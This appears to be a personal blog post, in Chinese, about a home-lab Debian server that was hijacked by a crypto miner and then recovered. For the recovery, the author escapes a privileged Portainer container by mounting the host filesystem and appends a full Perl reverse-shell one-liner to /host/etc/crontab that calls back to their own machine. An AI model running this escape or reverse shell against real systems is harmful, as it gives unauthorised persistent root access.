前言

大家好,好久沒發文了,想不到標題只好交給 ChatGPT 跟 Claude 來幫忙 XD

前幾天因為 regreSSHion (CVE-2024-6387) 的關係,想把家中的 Home lab 工控機給更新一下,畢竟他已經快兩年沒關機了,而且還有把 22 Port 對外 駭客從 Shodan 看到一定很想打我

結果從 Debian 11 升級到 12 的過程有點不太順利,搞的主機有點亂,於是決定重新規劃並重灌。

因為懶得把工控機從櫃子上取下重灌,就偷懶用了 reinstall 來重灌機器,重灌的過程異常順利,沒想到這只是痛苦的開始。

重灌完,首先當然是先用 ssh-copy-id 來把公鑰寫進機器裡,畢竟透過金鑰登入比較安全嘛!

裝上 Portainer,然後再把平常會用到的服務一併搭好 e.g. AdGuard Home、Valutwarden…。這次還嘗試了前幾天看到的酷東西 CasaOS,用這個來修改一些檔案蠻方便的~

被入侵了嗎?!

伺服器就這樣運作了兩三天,在過去這幾天,我時不時就會連上去檢查跟修改設定,結果改著改著,從 CasaOS 看到機器居然 CPU 使用率有點高

心想可能是 AdGuard Home 正在更新 Rule,吃點 CPU 也合理,正當我想登進去看看的時候,居然跳出了要打密碼的畫面?

我這幾天都是用 ssh key 登入的,現在為什麼要輸入密碼?

CPU 使用率暴增 + 突然無法登入,我當下只想著應該被入侵了,所以馬上把網路線拔了,避免病毒橫向攻擊到區網的其他設備,並開始思考我的下一步。

梳理問題

先假設真的被入侵好了,就要想想到底駭客可能從何處進入,先想到的是有沒有可能 reinstall 的重灌腳本被投毒,腳本裡面有問題?

一邊檢查源碼一邊在想 reinstall 跟 CasaOS 被投毒的機率應該很低。這兩個都是開源專案,應該有很多像我一樣的人擔心自己被投毒而檢查源碼。

如果它們被投毒,應該早就會有更多人發現了。 BTW,永遠記住開源專案 != 100% 安全

與其猜測這些開源專案被投毒,我更相信是我自己操作不當產生漏洞 XD。

開始思考駭客還能怎麼進來到我的設備,想到了以前雖然開了 22 Port,但是有設限定金鑰登入

但這次重灌我是用 reinstall 的啊!!!它預設可是開放 root 登入 + 弱密碼,

我雖然記得在第一時間交換了金鑰,但完全忘記要關掉設定啊 XDDD

既然是透過弱密碼進入的應該是自動化的植入挖礦病毒,我只要先斷網就能防止駭客 ssh 或是透過病毒 reverse shell 進入。

思考奪回主控權的方法🤔

因為現在 SSH 已經連不上去了,CasaOS 看起來也沒辦法在網頁中開一個 Shell 讓我控制,我只好把希望寄託在 Portainer 上了。

Portainer 是現在唯一一個能在機器上開 Shell 的工具,雖然環境會在容器內,但我們有特權容器 (privileged container) 啊 XD

  1. 在 Portainer 建立一個特權容器
  2. 進行沙箱逃逸 (Sandbox escape)
  3. 開一個 Reverse shell 打回 mac 上
  4. 把 Root 密碼改回來

畫了個時序圖比較好理解

sequenceDiagram
    %%{
    init: {
        'theme': 'dark',
        'themeVariables': {
        'primaryColor': '#BB2528',
        'primaryTextColor': '#fff',
        'primaryBorderColor': '#7C0000',
        'lineColor': '#F8B229',
        'secondaryColor': '#006100',
        'tertiaryColor': '#fff'
        }
    }
    }%%

    box macOS
    participant mac as 192.168.1.10
    end
    mac->>Portainer: Create Privileged Container
    %% note over Portainer:Containernasd
    box HomeLab 
    participant Portainer as Portainer
[Container] participant Crontab participant Shell end %% box blue:asd %% participant Portainer %% end Note over Portainer: [Privileged Container]
mount: /host:/ Portainer->>Crontab: Write reverse shell
to /host/etc/crontab note over Portainer,Crontab:*/1 * * * * bach -i /dev/tcp....
TLDR: Reverse shell :P Crontab->>Crontab: Wait for the next minute note over Crontab:Crontab trigger the job
connect mac by bash Crontab->>Shell:Trigger the job note over mac:nc -lv 5487 Shell->>+mac:Reverse shell connected note over mac: Get host shell mac->>+Shell:Change Root password

動手開始做

先登入僅存的 Portainer 服務QQ

建立容器

Command & logging

Interactive & TTY (-i -t) 打開

Volumes

將 Host 的根目錄掛載到容器中的 /host/

Runtime & resource

把最重要的 Privileged mode 勾起來,他是整個救援行動的重點

這些都完成後就可以把容器建立啦~

啟動 nc server

在 mac 上用 nc -lv <port> 來啟動伺服器,開好我們就可以回去準備建立我們的 reverse shell 囉!

建立 Reverse shell

回到 Portainer 我們先 Attach 到剛剛的容器

TL;DR 這是一個 perl 的 Rever shell

echo "*/1 * * * * root /usr/bin/perl -e 'use Socket;\$i=\"192.168.1.10\";\$p=5487;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/bash -i\");};'" >> /host/etc/crontab

把我們的 Reverse Shell 寫到 Crontab 裡面,接下來就是等待 Reverse shell 接入了。

回到 nc 準備換密碼!

我們可以看到跟前幾張圖片長的有點不太一樣,Reverse shell 已經接上了, 現在已經成功拿到機器到 Shell 了,接下來就是 passwd 把密碼換回來~

後續檢查

看了一下 ~/.ssh/authorized_keys,這就是無法登入的原因,它把 ssh key 換掉了 😠

本來想把病毒清除的過程也紀錄下來,但當下情況危急,沒能紀錄完整個過程。

可以直接參考前輩的做法 手工清理挖矿病毒案例

我也是參考他的文章來清除病毒的~

用了前輩提供的指令,可以看到有這麼多 IP 在嘗試登入

可以看到登入成功的是印度 IP,拿去 Virustotal 可以看到已經被一些防毒軟體標記是惡意 IP 了

之後就是裝上 ClamAV 掃掃毒,並且確實的把 22 Port 從 Router 上關閉,

如果有需要再透過 VPN 回到區網。

後記與反思

因為這次事件,也讓我好好整理跟實踐沙箱逃逸的流程,還有 Reverse shell 的實戰 XD

也因為想把這次的事情寫成一篇文章,結果把病毒都清掉了沒辦法截圖,

所以又開了一台 debian 的機器對外開 22 Port 等駭客進來亂搞就馬上關機,

這個無聊的小腳本是用 Claude 幫我寫的,內容是 CPU 使用率高於 70 就關機,

本來是想等到挖礦時才會關,結果才剛被替換 ssh key 就關機了 XD

#!/bin/bash

while true; do
    cpu_usage=$(top -bn1 | grep "Cpu(s)" | sed "s/.*, *\([0-9.]*\)%* id.*/\1/" | awk '{print 100 - $1}')
    cpu_usage=${cpu_usage%.*}  # 取整數部分
    
    if [ "$cpu_usage" -ge 70 ]; then
        echo "CPU usage is $cpu_usage%. Shutting down..."
        sudo init 0
        break
    fi
    
    sleep 5
done

以前本來很討厭所謂的 AI 寫 code,還好我已經撐過下面的階段

討厭 AI,理解 AI,成為擁抱 AI

現在已經這些工具已經融入我的開發流程,包括這篇文章的潤色都是由這些工具來幫我

扯遠了,回到正題 XD

這次會出現這個問題,就是因為在多個環節上出了小小的差錯。

  • 如果我沒有懶惰用 reinstall 重灌,就不會預設開啟 root ssh 登入加上弱密碼。
  • 如果我有記得在交換完 ssh key 後要去關掉密碼登入,就算弱密碼也打不進來 除了CVE-2024-6387
  • 如果沒有打開 22 Port,這些問題有可能都不會發生。

今天這些小小的差錯,就是起司理論的寫照

瑞士起司在製造與發酵過程當中,很自然的會產生小孔洞。如果把許多片起司重疊在一起,正常情況下,每片起司的空洞位置不同,光線透不過。只有在很極端的情況下,空洞剛好連成一直線,才會讓光線透過去。導致嚴重事故發生的從來都不是因為某個單獨的原因,而是多個問題同時出現。

不過不是下面這個起司就對了 XD Picture ref 辛普森迷因

Reference